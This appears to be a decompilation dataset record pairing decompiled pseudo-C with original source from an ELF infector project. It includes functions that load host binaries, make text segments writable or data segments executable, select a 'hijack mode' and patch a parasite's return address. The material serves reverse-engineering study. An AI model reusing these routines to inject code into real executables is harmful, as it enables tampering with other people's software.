decompiled_code:
__int64 __fastcall load_host(const char *a1, const char **a2)
{
int v2; // eax
int v3; // ebx
__off_t v4; // r14
char *v5; // r13
const char *v6; // rax
ssize_t v7; // rax
__int64 result; // rax
__m128i *v9; // rax
struct stat v10; // [rsp+0h] [rbp-B8h] BYREF

v2 = open(a1, 0);
if ( v2 < 0 )
{
perror("load open host");
result = 0xFFFFFFFFLL;
}
else
{
v3 = v2;
if ( fstat(v2, &v10) )
{
perror("load fstat host");
result = 0xFFFFFFFFLL;
}
else
{
v4 = v10.st_size;
v5 = (char *)malloc(v10.st_size);
a2[1] = v5;
if ( v5 )
{
v6 = (const char *)malloc(0x90uLL);
a2[2] = v6;
if ( v6 )
{
v7 = read(v3, v5, v4);
if ( v7 == v10.st_size )
{
v9 = (__m128i *)a2[2];
*v9 = _mm_loadu_si128((const __m128i *)&v10);
v9[1] = _mm_loadu_si128((const __m128i *)&v10.st_nlink);
v9[2] = _mm_loadu_si128((const __m128i *)&v10.st_gid);
v9[3] = _mm_loadu_si128((const __m128i *)&v10.st_size);
v9[4] = _mm_loadu_si128((const __m128i *)&v10.st_blocks);
v9[5] = _mm_loadu_si128((const __m128i *)&v10.st_atim.tv_nsec);
v9[6] = _mm_loadu_si128((const __m128i *)&v10.st_mtim.tv_nsec);
v9[7] = _mm_loadu_si128((const __m128i *)&v10.st_ctim.tv_nsec);
v9[8] = _mm_loadu_si128((const __m128i *)&v10.__unused[1]);
*a2 = a1;
result = 1LL;
}
else
{
perror("host read");
result = 0xFFFFFFFFLL;
}
}
else
{
perror("host file malloc");
result = 0xFFFFFFFFLL;
}
}
else
{
perror("host mem malloc");
result = 0xFFFFFFFFLL;
}
}
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func0(const char *a1, const char **a2)
{
int v2; // eax
int v3; // ebx
__off_t v4; // r14
char *v5; // r13
const char *v6; // rax
ssize_t v7; // rax
__int64 result; // rax
__m128i *v9; // rax
struct stat v10; // [rsp+0h] [rbp-B8h] BYREF

v2 = open(a1, 0);
if ( v2 < 0 )
{
perror("load open host");
result = 0xFFFFFFFFLL;
}
else
{
v3 = v2;
if ( fstat(v2, &v10) )
{
perror("load fstat host");
result = 0xFFFFFFFFLL;
}
else
{
v4 = v10.st_size;
v5 = (char *)malloc(v10.st_size);
a2[1] = v5;
if ( v5 )
{
v6 = (const char *)malloc(0x90uLL);
a2[2] = v6;
if ( v6 )
{
v7 = read(v3, v5, v4);
if ( v7 == v10.st_size )
{
v9 = (__m128i *)a2[2];
*v9 = _mm_loadu_si128((const __m128i *)&v10);
v9[1] = _mm_loadu_si128((const __m128i *)&v10.st_nlink);
v9[2] = _mm_loadu_si128((const __m128i *)&v10.st_gid);
v9[3] = _mm_loadu_si128((const __m128i *)&v10.st_size);
v9[4] = _mm_loadu_si128((const __m128i *)&v10.st_blocks);
v9[5] = _mm_loadu_si128((const __m128i *)&v10.st_atim.tv_nsec);
v9[6] = _mm_loadu_si128((const __m128i *)&v10.st_mtim.tv_nsec);
v9[7] = _mm_loadu_si128((const __m128i *)&v10.st_ctim.tv_nsec);
v9[8] = _mm_loadu_si128((const __m128i *)&v10.__unused[1]);
*a2 = a1;
result = 1LL;
}
else
{
perror("host read");
result = 0xFFFFFFFFLL;
}
}
else
{
perror("host file malloc");
result = 0xFFFFFFFFLL;
}
}
else
{
perror("host mem malloc");
result = 0xFFFFFFFFLL;
}
}
}
return result;
}

original_code:
int load_host(char *name, Elfit_t *host)
{
    int hfd;
    struct stat hst;
    size_t statsz;
    if ((hfd = open(name, 00)) < 0)
    {
        perror("load open host");
        return -1;
    }
    if (fstat(hfd, &hst))
    {
        perror("load fstat host");
        return -1;
    }
    statsz = (size_t) sizeof(struct stat);
    if ((host->mem = malloc(hst.st_size)) == ((void *)0))
    {
        perror("host mem malloc");
        return -1;
    }
    if ((host->file = malloc(statsz)) == ((void *)0))
    {
        perror("host file malloc");
        return -1;
    }
    if (read(hfd, host->mem, hst.st_size) != hst.st_size)
    {
        perror("host read");
        return -1;
    }
    memcpy(host->file, &hst, statsz);
    host->name = name;
    return 1;
}

canonical_original_code:
int load_host(char *name, struct Elfit_t *host)
{
    int hfd;
    struct stat hst;
    unsigned long statsz;
    if ((hfd = open(name, 00)) < 0)
    {
        perror("load open host");
        return -1;
    }
    if (fstat(hfd, &hst))
    {
        perror("load fstat host");
        return -1;
    }
    statsz = (unsigned long) sizeof(struct stat);
    if ((host->mem = malloc(hst.st_size)) == ((void *)0))
    {
        perror("host mem malloc");
        return -1;
    }
    if ((host->file = malloc(statsz)) == ((void *)0))
    {
        perror("host file malloc");
        return -1;
    }
    if (read(hfd, host->mem, hst.st_size) != hst.st_size)
    {
        perror("host read");
        return -1;
    }
    memcpy(host->file, &hst, statsz);
    host->name = name;
    return 1;
}

variable_types:
name
char *

variable_types: struct Elfit_t { char *name; unsigned char *mem; struct stat { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; int __pad0; unsigned long st_rdev; long st_size; long st_blksize; long st_blocks; struct timespec { long tv_sec; long tv_nsec; } st_atim; struct timespec st_mtim; struct timespec st_ctim; long __glibc_reserved[3]; } *file; } *

variable_types: hfd int

variable_types:
statsz
unsigned long


repo: NickStephens/elfit

decompiled_code:
void __fastcall unload_host(__int64 a1)
{
free(*(void **)(a1 + 8));
free(*(void **)(a1 + 16));
}

original_code:
void unload_host(Elfit_t *host)
{
    free(host->mem);
    free(host->file);
}

canonical_original_code:
void unload_host(struct Elfit_t *host)
{
    free(host->mem);
    free(host->file);
}

return_type: void

user_defined_types: struct Elfit_t { char *name; unsigned char *mem; struct stat *file; }

user_defined_types: struct stat { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; int __pad0; unsigned long st_rdev; long st_size; long st_blksize; long st_blocks; struct timespec st_atim; struct timespec st_mtim; struct timespec st_ctim; long __glibc_reserved[3]; }

user_defined_types: struct timespec { long tv_sec; long tv_nsec; }


decompiled_code:
__int64 __fastcall reload_host(const char *a1, const char **a2)
{
unsigned int v2; // ebx

unload_host((__int64)a2);
v2 = 1;
if ( (unsigned int)load_host(a1, a2) == -1 )
{
v2 = -1;
perror("reload load_host");
}
return v2;
}

canonical_decompiled_code:
__int64 __fastcall func2(const char *a1, const char **a2)
{
unsigned int v2; // ebx

func1((__int64)a2);
v2 = 1;
if ( (unsigned int)func0(a1, a2) == -1 )
{
v2 = -1;
perror("reload load_host");
}
return v2;
}

original_code:
int reload_host(char *name, Elfit_t *host)
{
    unload_host(host);
    if (load_host(name, host) == -1)
    {
        perror("reload load_host");
        return -1;
    }
    return 1;
}

canonical_original_code:
int reload_host(char *name, struct Elfit_t *host)
{
    unload_host(host);
    if (load_host(name, host) == -1)
    {
        perror("reload load_host");
        return -1;
    }
    return 1;
}

return_type: int


decompiled_code:
__int64 __fastcall get_section_by_name_32(char *s2, __int64 a2)
{
__int64 v2; // r12
unsigned int *v3; // rbx
__int64 v4; // r15
int v5; // er14
unsigned int v6; // ebp

v2 = *(_QWORD *)(a2 + 8);
v3 = (unsigned int *)(v2 + *(unsigned int *)(v2 + 32));
v4 = v3[10 * *(unsigned __int16 *)(v2 + 50) + 4];
v5 = *(unsigned __int16 *)(v2 + 48);
if ( !*(_WORD *)(v2 + 48) )
return (unsigned int)-1;
v6 = 0;
while ( strcmp((const char *)(v2 + v4 + *v3), s2) )
{
++v6;
v3 += 10;
if ( v6 == v5 )
return (unsigned int)-1;
}
return v6;
}

canonical_decompiled_code:
__int64 __fastcall func3(char *s2, __int64 a2)
{
__int64 v2; // r12
unsigned int *v3; // rbx
__int64 v4; // r15
int v5; // er14
unsigned int v6; // ebp

v2 = *(_QWORD *)(a2 + 8);
v3 = (unsigned int *)(v2 + *(unsigned int *)(v2 + 32));
v4 = v3[10 * *(unsigned __int16 *)(v2 + 50) + 4];
v5 = *(unsigned __int16 *)(v2 + 48);
if ( !*(_WORD *)(v2 + 48) )
return (unsigned int)-1;
v6 = 0;
while ( strcmp((const char *)(v2 + v4 + *v3), s2) )
{
++v6;
v3 += 10;
if ( v6 == v5 )
return (unsigned int)-1;
}
return v6;
}

original_code:
int get_section_by_name_32(char *name, Elfit_t *host)
{
    Elf32_Ehdr *ehdr;
    Elf32_Shdr *shdr;
    char *shstrtab;
    int shstrndx, i;
    ehdr = (Elf32_Ehdr *) host->mem;
    shdr = (Elf32_Shdr *) (host->mem + ehdr->e_shoff);
    shstrtab = host->mem + shdr[ehdr->e_shstrndx].sh_offset;
    for (i = 0; i < ehdr->e_shnum; i++)
    {
        if (strcmp(&shstrtab[shdr[i].sh_name], name) == 0)
            return i;
    }
    return -1;
}

canonical_original_code:
int get_section_by_name_32(char *name, struct Elfit_t *host)
{
    struct Elf32_Ehdr *ehdr;
    struct Elf32_Shdr *shdr;
    char *shstrtab;
    int shstrndx; int i;
    ehdr = (struct Elf32_Ehdr *) host->mem;
    shdr = (struct Elf32_Shdr *) (host->mem + ehdr->e_shoff);
    shstrtab = host->mem + shdr[ehdr->e_shstrndx].sh_offset;
    for (i = 0; i < ehdr->e_shnum; i++)
    {
        if (strcmp(&shstrtab[shdr[i].sh_name], name) == 0)
            return i;
    }
    return -1;
}

variable_types: struct Elf32_Ehdr { unsigned char e_ident[-1]; unsigned short e_type; unsigned short e_machine; unsigned int e_version; unsigned int e_entry; unsigned int e_phoff; unsigned int e_shoff; unsigned int e_flags; unsigned short e_ehsize; unsigned short e_phentsize; unsigned short e_phnum; unsigned short e_shentsize; unsigned short e_shnum; unsigned short e_shstrndx; } *

variable_types: struct Elf32_Shdr { unsigned int sh_name; unsigned int sh_type; unsigned int sh_flags; unsigned int sh_addr; unsigned int sh_offset; unsigned int sh_size; unsigned int sh_link; unsigned int sh_info; unsigned int sh_addralign; unsigned int sh_entsize; } *

variable_types:
shstrtab
char *

variable_types: shstrndx int

variable_types: i int


decompiled_code:
__int64 __fastcall get_section_by_name_64(char *s2, __int64 a2)
{
__int64 v2; // r12
unsigned int *v3; // rbx
__int64 v4; // r15
int v5; // er14
unsigned int v6; // ebp

v2 = *(_QWORD *)(a2 + 8);
v3 = (unsigned int *)(*(_QWORD *)(v2 + 40) + v2);
v4 = *(_QWORD *)&v3[16 * (unsigned __int64)*(unsigned __int16 *)(v2 + 62) + 6];
v5 = *(unsigned __int16 *)(v2 + 60);
if ( !*(_WORD *)(v2 + 60) )
return (unsigned int)-1;
v6 = 0;
while ( strcmp((const char *)(v2 + v4 + *v3), s2) )
{
++v6;
v3 += 16;
if ( v6 == v5 )
return (unsigned int)-1;
}
return v6;
}

canonical_decompiled_code:
__int64 __fastcall func4(char *s2, __int64 a2)
{
__int64 v2; // r12
unsigned int *v3; // rbx
__int64 v4; // r15
int v5; // er14
unsigned int v6; // ebp

v2 = *(_QWORD *)(a2 + 8);
v3 = (unsigned int *)(*(_QWORD *)(v2 + 40) + v2);
v4 = *(_QWORD *)&v3[16 * (unsigned __int64)*(unsigned __int16 *)(v2 + 62) + 6];
v5 = *(unsigned __int16 *)(v2 + 60);
if ( !*(_WORD *)(v2 + 60) )
return (unsigned int)-1;
v6 = 0;
while ( strcmp((const char *)(v2 + v4 + *v3), s2) )
{
++v6;
v3 += 16;
if ( v6 == v5 )
return (unsigned int)-1;
}
return v6;
}

original_code:
int get_section_by_name_64(char *name, Elfit_t *host)
{
    Elf64_Ehdr *ehdr;
    Elf64_Shdr *shdr;
    char *shstrtab;
    int shstrndx, i;
    ehdr = (Elf64_Ehdr *) host->mem;
    shdr = (Elf64_Shdr *) (host->mem + ehdr->e_shoff);
    shstrtab = host->mem + shdr[ehdr->e_shstrndx].sh_offset;
    for (i = 0; i < ehdr->e_shnum; i++)
    {
        if (strcmp(&shstrtab[shdr[i].sh_name], name) == 0)
            return i;
    }
    return -1;
}

canonical_original_code:
int get_section_by_name_64(char *name, struct Elfit_t *host)
{
    struct Elf64_Ehdr *ehdr;
    struct Elf64_Shdr *shdr;
    char *shstrtab;
    int shstrndx; int i;
    ehdr = (struct Elf64_Ehdr *) host->mem;
    shdr = (struct Elf64_Shdr *) (host->mem + ehdr->e_shoff);
    shstrtab = host->mem + shdr[ehdr->e_shstrndx].sh_offset;
    for (i = 0; i < ehdr->e_shnum; i++)
    {
        if (strcmp(&shstrtab[shdr[i].sh_name], name) == 0)
            return i;
    }
    return -1;
}

variable_types: struct Elf64_Ehdr { unsigned char e_ident[-1]; unsigned short e_type; unsigned short e_machine; unsigned int e_version; unsigned long e_entry; unsigned long e_phoff; unsigned long e_shoff; unsigned int e_flags; unsigned short e_ehsize; unsigned short e_phentsize; unsigned short e_phnum; unsigned short e_shentsize; unsigned short e_shnum; unsigned short e_shstrndx; } *

variable_types: struct Elf64_Shdr { unsigned int sh_name; unsigned int sh_type; unsigned long sh_flags; unsigned long sh_addr; unsigned long sh_offset; unsigned long sh_size; unsigned int sh_link; unsigned int sh_info; unsigned long sh_addralign; unsigned long sh_entsize; } *


original_code:
int make_text_writeable64(Elfit_t *host)
{
    Elf64_Ehdr *ehdr;
    Elf64_Phdr *phdr;
    size_t wrote;
    int ofd;
    int i;
    ehdr = (Elf64_Ehdr *) host->mem;
    phdr = (Elf64_Phdr *) (host->mem + ehdr->e_phoff);
    for(i = 0; i < ehdr->e_phnum; phdr++, i++)
    {
        if (phdr->p_type == 1)
            if (phdr->p_flags == ((1 << 2) | (1 << 0)))
                phdr->p_flags |= (1 << 1);
    }
    if ((ofd = open("tmp.bin", 0100 | 01 | 01000, host->file->st_mode)) < 0)
    {
        perror("tmp binary");
        exit(-1);
    }
    if ((wrote = write(ofd, host->mem, host->file->st_size)) < host->file->st_size)
    {
        perror("modifying headers");
        exit(-1);
    }
    rename("tmp.bin", host->name);
    close(ofd);
    return 0;
}

canonical_original_code:
int make_text_writeable64(struct Elfit_t *host)
{
    struct Elf64_Ehdr *ehdr;
    struct Elf64_Phdr *phdr;
    unsigned long wrote;
    int ofd;
    int i;
    ehdr = (struct Elf64_Ehdr *) host->mem;
    phdr = (struct Elf64_Phdr *) (host->mem + ehdr->e_phoff);
    for(i = 0; i < ehdr->e_phnum; phdr++, i++)
    {
        if (phdr->p_type == 1)
            if (phdr->p_flags == ((1 << 2) | (1 << 0)))
                phdr->p_flags |= (1 << 1);
    }
    if ((ofd = open("tmp.bin", 0100 | 01 | 01000, host->file->st_mode)) < 0)
    {
        perror("tmp binary");
        exit(-1);
    }
    if ((wrote = write(ofd, host->mem, host->file->st_size)) < host->file->st_size)
    {
        perror("modifying headers");
        exit(-1);
    }
    rename("tmp.bin", host->name);
    close(ofd);
    return 0;
}

variable_types: struct Elf64_Phdr { unsigned int p_type; unsigned int p_flags; unsigned long p_offset; unsigned long p_vaddr; unsigned long p_paddr; unsigned long p_filesz; unsigned long p_memsz; unsigned long p_align; } *

variable_types:
wrote
unsigned long

variable_types: ofd int

user_defined_types: struct Elf64_Ehdr { unsigned char e_ident[-1]; unsigned short e_type; unsigned short e_machine; unsigned int e_version; unsigned long e_entry; unsigned long e_phoff; unsigned long e_shoff; unsigned int e_flags; unsigned short e_ehsize; unsigned short e_phentsize; unsigned short e_phnum; unsigned short e_shentsize; unsigned short e_shnum; unsigned short e_shstrndx; }


original_code:
int make_text_writeable32(Elfit_t *host)
{
    Elf32_Ehdr *ehdr;
    Elf32_Phdr *phdr;
    size_t wrote;
    int ofd;
    int i;
    ehdr = (Elf32_Ehdr *) host->mem;
    phdr = (Elf32_Phdr *) (host->mem + ehdr->e_phoff);
    for(i = 0; i < ehdr->e_phnum; phdr++, i++)
    {
        if (phdr->p_type == 1)
            if (phdr->p_flags == ((1 << 2) | (1 << 0)))
                phdr->p_flags |= (1 << 1);
    }
    if ((ofd = open("tmp.bin", 0100 | 01 | 01000, host->file->st_mode)) < 0)
    {
        perror("tmp binary");
        exit(-1);
    }
    if ((wrote = write(ofd, host->mem, host->file->st_size)) < host->file->st_size)
    {
        perror("modifying headers");
        exit(-1);
    }
    rename("tmp.bin", host->name);
    close(ofd);
    return 0;
}

canonical_original_code:
int make_text_writeable32(struct Elfit_t *host)
{
    struct Elf32_Ehdr *ehdr;
    struct Elf32_Phdr *phdr;
    unsigned long wrote;
    int ofd;
    int i;
    ehdr = (struct Elf32_Ehdr *) host->mem;
    phdr = (struct Elf32_Phdr *) (host->mem + ehdr->e_phoff);
    for(i = 0; i < ehdr->e_phnum; phdr++, i++)
    {
        if (phdr->p_type == 1)
            if (phdr->p_flags == ((1 << 2) | (1 << 0)))
                phdr->p_flags |= (1 << 1);
    }
    if ((ofd = open("tmp.bin", 0100 | 01 | 01000, host->file->st_mode)) < 0)
    {
        perror("tmp binary");
        exit(-1);
    }
    if ((wrote = write(ofd, host->mem, host->file->st_size)) < host->file->st_size)
    {
        perror("modifying headers");
        exit(-1);
    }
    rename("tmp.bin", host->name);
    close(ofd);
    return 0;
}

variable_types: struct Elf32_Phdr { unsigned int p_type; unsigned int p_offset; unsigned int p_vaddr; unsigned int p_paddr; unsigned int p_filesz; unsigned int p_memsz; unsigned int p_flags; unsigned int p_align; } *

user_defined_types: struct Elf32_Ehdr { unsigned char e_ident[-1]; unsigned short e_type; unsigned short e_machine; unsigned int e_version; unsigned int e_entry; unsigned int e_phoff; unsigned int e_shoff; unsigned int e_flags; unsigned short e_ehsize; unsigned short e_phentsize; unsigned short e_phnum; unsigned short e_shentsize; unsigned short e_shnum; unsigned short e_shstrndx; }


original_code:
int make_data_executable64(Elfit_t *host)
{
    Elf64_Ehdr *ehdr;
    Elf64_Phdr *phdr;
    size_t wrote;
    int ofd;
    int i;
    ehdr = (Elf64_Ehdr *) host->mem;
    phdr = (Elf64_Phdr *) (host->mem + ehdr->e_phoff);
    for(i = 0; i < ehdr->e_phnum; phdr++, i++)
    {
        if (phdr->p_type == 1)
            if (phdr->p_flags == ((1 << 2) | (1 << 1)))
                phdr->p_flags |= (1 << 0);
    }
    if ((ofd = open("tmp.bin", 0100 | 01 | 01000, host->file->st_mode)) < 0)
    {
        perror("tmp binary");
        exit(-1);
    }
    if ((wrote = write(ofd, host->mem, host->file->st_size)) < host->file->st_size)
    {
        perror("modifying headers");
        exit(-1);
    }
    rename("tmp.bin", host->name);
    close(ofd);
    return 0;
}

canonical_original_code:
int make_data_executable64(struct Elfit_t *host)
{
    struct Elf64_Ehdr *ehdr;
    struct Elf64_Phdr *phdr;
    unsigned long wrote;
    int ofd;
    int i;
    ehdr = (struct Elf64_Ehdr *) host->mem;
    phdr = (struct Elf64_Phdr *) (host->mem + ehdr->e_phoff);
    for(i = 0; i < ehdr->e_phnum; phdr++, i++)
    {
        if (phdr->p_type == 1)
            if (phdr->p_flags == ((1 << 2) | (1 << 1)))
                phdr->p_flags |= (1 << 0);
    }
    if ((ofd = open("tmp.bin", 0100 | 01 | 01000, host->file->st_mode)) < 0)
    {
        perror("tmp binary");
        exit(-1);
    }
    if ((wrote = write(ofd, host->mem, host->file->st_size)) < host->file->st_size)
    {
        perror("modifying headers");
        exit(-1);
    }
    rename("tmp.bin", host->name);
    close(ofd);
    return 0;
}

user_defined_types: struct Elf64_Phdr { unsigned int p_type; unsigned int p_flags; unsigned long p_offset; unsigned long p_vaddr; unsigned long p_paddr; unsigned long p_filesz; unsigned long p_memsz; unsigned long p_align; }


decompiled_code:
__int64 __fastcall str_to_mode(const char *a1)
{
if ( !strcmp(a1, "init") )
return 1LL;
if ( !strcmp(a1, "fini") )
return 2LL;
if ( strcmp(a1, "main") )
{
puts("[-] unrecognized hijack mode chosen");
exit(-1);
}
return 3LL;
}

canonical_decompiled_code:
__int64 __fastcall func8(const char *a1)
{
if ( !strcmp(a1, "init") )
return 1LL;
if ( !strcmp(a1, "fini") )
return 2LL;
if ( strcmp(a1, "main") )
{
puts("[-] unrecognized hijack mode chosen");
exit(-1);
}
return 3LL;
}

original_code:
int str_to_mode(char *str)
{
    if (!strcmp(str, "init"))
    {
        return 1;
    }
    else if (!strcmp(str, "fini"))
    {
        return 2;
    }
    else if (!strcmp(str, "main"))
    {
        return 3;
    }
    else
    {
        printf("[-] unrecognized hijack mode chosen\n");
        exit(-1);
    }
}

variable_types:
str
char *


decompiled_code:
__int64 __fastcall patch_parasite32(__int64 a1, unsigned int a2, int a3)
{
unsigned int v4; // er12
__int64 result; // rax
__int64 v7; // r8
__int64 v8; // r9
__int64 v9; // rax

v4 = a2;
if ( a2 )
goto LABEL_2;
puts("[+ USING SMART PATCHING]");
v7 = *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL);
if ( v7 <= 0 )
goto LABEL_10;
v8 = *(_QWORD *)(a1 + 8);
v9 = 0LL;
while ( memcmp((const void *)(v8 + v9), &unk_46D, 4uLL) )
{
if ( v7 == ++v9 )
goto LABEL_10;
}
v4 = v9;
if ( (_DWORD)v9 )
{
LABEL_2:
printf("[+ PATCHING POSITION %d IN PARASITE]\n", v4);
if ( v4 >= *(__int64 *)(*(_QWORD *)(a1 + 16) + 48LL) )
{
result = 0xFFFFFFFFLL;
}
else
{
*(_DWORD *)(*(_QWORD *)(a1 + 8) + v4) = a3;
result = 0LL;
}
}
else
{
LABEL_10:
puts("[- SMART PATCHING PATTERN NOT FOUND]");
puts("[! DECIDED NOT TO PATCH]");
result = 0LL;
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func0(__int64 a1, unsigned int a2, int a3)
{
unsigned int v4; // er12
__int64 result; // rax
__int64 v7; // r8
__int64 v8; // r9
__int64 v9; // rax

v4 = a2;
if ( a2 )
goto LABEL_2;
puts("[+ USING SMART PATCHING]");
v7 = *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL);
if ( v7 <= 0 )
goto LABEL_10;
v8 = *(_QWORD *)(a1 + 8);
v9 = 0LL;
while ( memcmp((const void *)(v8 + v9), &unk_46D, 4uLL) )
{
if ( v7 == ++v9 )
goto LABEL_10;
}
v4 = v9;
if ( (_DWORD)v9 )
{
LABEL_2:
printf("[+ PATCHING POSITION %d IN PARASITE]\n", v4);
if ( v4 >= *(__int64 *)(*(_QWORD *)(a1 + 16) + 48LL) )
{
result = 0xFFFFFFFFLL;
}
else
{
*(_DWORD *)(*(_QWORD *)(a1 + 8) + v4) = a3;
result = 0LL;
}
}
else
{
LABEL_10:
puts("[- SMART PATCHING PATTERN NOT FOUND]");
puts("[! DECIDED NOT TO PATCH]");
result = 0LL;
}
return result;
}

original_code:
int patch_parasite32(Elfit_t *parasite, uint32_t patchpos, uint32_t vaddr)
{
    int i;
    if (patchpos==0)
    {
        printf("[+ USING SMART PATCHING]\n");
        for (i=0;i<parasite->file->st_size;i++)
        {
            if (!strcmp(&parasite->mem[i], "\x33\x22\x11"))
            {
                patchpos = i;
                break;
            }
        }
    }
    if (patchpos==0)
    {
 printf("[- SMART PATCHING PATTERN NOT FOUND]\n");
 printf("[! DECIDED NOT TO PATCH]\n");
 return 0;
    }
    else
     printf("[+ PATCHING POSITION %d IN PARASITE]\n", patchpos);
    if (patchpos >= parasite->file->st_size)
        return -1;
    *(uint32_t *)&parasite->mem[patchpos] = vaddr;
    return 0;
}

canonical_original_code:
int patch_parasite32(struct Elfit_t *parasite, unsigned int patchpos, unsigned int vaddr)
{
    int i;
    if (patchpos==0)
    {
        printf("[+ USING SMART PATCHING]\n");
        for (i=0;i<parasite->file->st_size;i++)
        {
            if (!strcmp(&parasite->mem[i], "\x33\x22\x11"))
            {
                patchpos = i;
                break;
            }
        }
    }
    if (patchpos==0)
    {
 printf("[- SMART PATCHING PATTERN NOT FOUND]\n");
 printf("[! DECIDED NOT TO PATCH]\n");
 return 0;
    }
    else
     printf("[+ PATCHING POSITION %d IN PARASITE]\n", patchpos);
    if (patchpos >= parasite->file->st_size)
        return -1;
    *(unsigned int *)&parasite->mem[patchpos] = vaddr;
    return 0;
}

variable_types:
patchpos
unsigned int

variable_types:
vaddr
unsigned int


decompiled_code:
__int64 __fastcall patch_parasite64(__int64 a1, unsigned int a2, __int64 a3)
{
unsigned int v4; // ebp
unsigned int v6; // ebx
__int64 v7; // r8
__int64 v8; // r9
__int64 v9; // rax
__int64 v10; // rbp
bool v11; // zf

v4 = a2;
if ( a2 )
{
LABEL_2:
printf("[+ PATCHING POSITION %d IN PARASITE]\n", v4);
v6 = -1;
if ( v4 < *(__int64 *)(*(_QWORD *)(a1 + 16) + 48LL) )
{
*(_QWORD *)(*(_QWORD *)(a1 + 8) + v4) = a3;
v6 = 0;
}
}
else
{
puts("[+ USING SMART PATCHING]");
v7 = *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL);
if ( v7 <= 0 )
goto LABEL_13;
v8 = *(_QWORD *)(a1 + 8);
v9 = 0LL;
while ( memcmp((const void *)(v8 + v9), &unk_48A, 8uLL) )
{
if ( v7 == ++v9 )
goto LABEL_10;
}
v4 = v9;
if ( (_DWORD)v9 )
goto LABEL_2;
LABEL_10:
v10 = 0LL;
while ( 1 )
{
v11 = memcmp((const void *)(*(_QWORD *)(a1 + 8) + v10), &unk_46D, 4uLL) == 0;
v6 = !v11;
if ( v11 )
break;
if ( ++v10 >= v7 )
goto LABEL_13;
}
if ( (_DWORD)v10 )
{
printf("[+ PATCHING POSITION %d IN PARASITE]\n", (unsigned int)v10);
if ( (unsigned int)v10 >= *(__int64 *)(*(_QWORD *)(a1 + 16) + 48LL) )
{
v6 = -1;
}
else
{
puts("[!] performing patch on 32bit parasite");
*(_DWORD *)(*(_QWORD *)(a1 + 8) + (unsigned int)v10) = a3;
}
}
else
{
LABEL_13:
puts("[- SMART PATCHING PATTERN NOT FOUND]");
puts("[! DECIDED NOT TO PATCH]");
v6 = 0;
}
}
return v6;
}

canonical_decompiled_code:
__int64 __fastcall func1(__int64 a1, unsigned int a2, __int64 a3)
{
unsigned int v4; // ebp
unsigned int v6; // ebx
__int64 v7; // r8
__int64 v8; // r9
__int64 v9; // rax
__int64 v10; // rbp
bool v11; // zf

v4 = a2;
if ( a2 )
{
LABEL_2:
printf("[+ PATCHING POSITION %d IN PARASITE]\n", v4);
v6 = -1;
if ( v4 < *(__int64 *)(*(_QWORD *)(a1 + 16) + 48LL) )
{
*(_QWORD *)(*(_QWORD *)(a1 + 8) + v4) = a3;
v6 = 0;
}
}
else
{
puts("[+ USING SMART PATCHING]");
v7 = *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL);
if ( v7 <= 0 )
goto LABEL_13;
v8 = *(_QWORD *)(a1 + 8);
v9 = 0LL;
while ( memcmp((const void *)(v8 + v9), &unk_48A, 8uLL) )
{
if ( v7 == ++v9 )
goto LABEL_10;
}
v4 = v9;
if ( (_DWORD)v9 )
goto LABEL_2;
LABEL_10:
v10 = 0LL;
while ( 1 )
{
v11 = memcmp((const void *)(*(_QWORD *)(a1 + 8) + v10), &unk_46D, 4uLL) == 0;
v6 = !v11;
if ( v11 )
break;
if ( ++v10 >= v7 )
goto LABEL_13;
}
if ( (_DWORD)v10 )
{
printf("[+ PATCHING POSITION %d IN PARASITE]\n", (unsigned int)v10);
if ( (unsigned int)v10 >= *(__int64 *)(*(_QWORD *)(a1 + 16) + 48LL) )
{
v6 = -1;
}
else
{
puts("[!] performing patch on 32bit parasite");
*(_DWORD *)(*(_QWORD *)(a1 + 8) + (unsigned int)v10) = a3;
}
}
else
{
LABEL_13:
puts("[- SMART PATCHING PATTERN NOT FOUND]");
puts("[! DECIDED NOT TO PATCH]");
v6 = 0;
}
}
return v6;
}

original_code:
int patch_parasite64(Elfit_t *parasite, uint32_t patchpos, uint64_t vaddr)
{
    int arch = 1;
    int i;
    if (patchpos==0)
    {
        printf("[+ USING SMART PATCHING]\n");
        for (i=0;i<parasite->file->st_size;i++)
        {
            if (!strcmp(&parasite->mem[i], "\x77\x66\x55\x44\x33\x22\x11"))
            {
                patchpos = i;
                break;
            }
        }
    }
    if (patchpos==0)
    {
        for (i=0;i<parasite->file->st_size;i++)
        {
            if (!strcmp(&parasite->mem[i], "\x33\x22\x11"))
            {
                arch = 2;
                patchpos = i;
                break;
            }
        }
    }
    if (patchpos == 0)
    {
 printf("[- SMART PATCHING PATTERN NOT FOUND]\n");
 printf("[! DECIDED NOT TO PATCH]\n");
 return 0;
    }
    else
     printf("[+ PATCHING POSITION %d IN PARASITE]\n", patchpos);
    if (patchpos >= parasite->file->st_size)
        return -1;
    if (arch == 1)
        *(uint64_t *)&parasite->mem[patchpos] = vaddr;
    else if (arch == 2)
    {
        printf("[!] performing patch on 32bit parasite\n");
        *(uint32_t *)&parasite->mem[patchpos] = vaddr;
    }
    return 0;
}

canonical_original_code:
int patch_parasite64(struct Elfit_t *parasite, unsigned int patchpos, unsigned long vaddr)
{
    int arch = 1;
    int i;
    if (patchpos==0)
    {
        printf("[+ USING SMART PATCHING]\n");
        for (i=0;i<parasite->file->st_size;i++)
        {
            if (!strcmp(&parasite->mem[i], "\x77\x66\x55\x44\x33\x22\x11"))
            {
                patchpos = i;
                break;
            }
        }
    }
    if (patchpos==0)
    {
        for (i=0;i<parasite->file->st_size;i++)
        {
            if (!strcmp(&parasite->mem[i], "\x33\x22\x11"))
            {
                arch = 2;
                patchpos = i;
                break;
            }
        }
    }
    if (patchpos == 0)
    {
 printf("[- SMART PATCHING PATTERN NOT FOUND]\n");
 printf("[! DECIDED NOT TO PATCH]\n");
 return 0;
    }
    else
     printf("[+ PATCHING POSITION %d IN PARASITE]\n", patchpos);
    if (patchpos >= parasite->file->st_size)
        return -1;
    if (arch == 1)
        *(unsigned long *)&parasite->mem[patchpos] = vaddr;
    else if (arch == 2)
    {
        printf("[!] performing patch on 32bit parasite\n");
        *(unsigned int *)&parasite->mem[patchpos] = vaddr;
    }
    return 0;
}

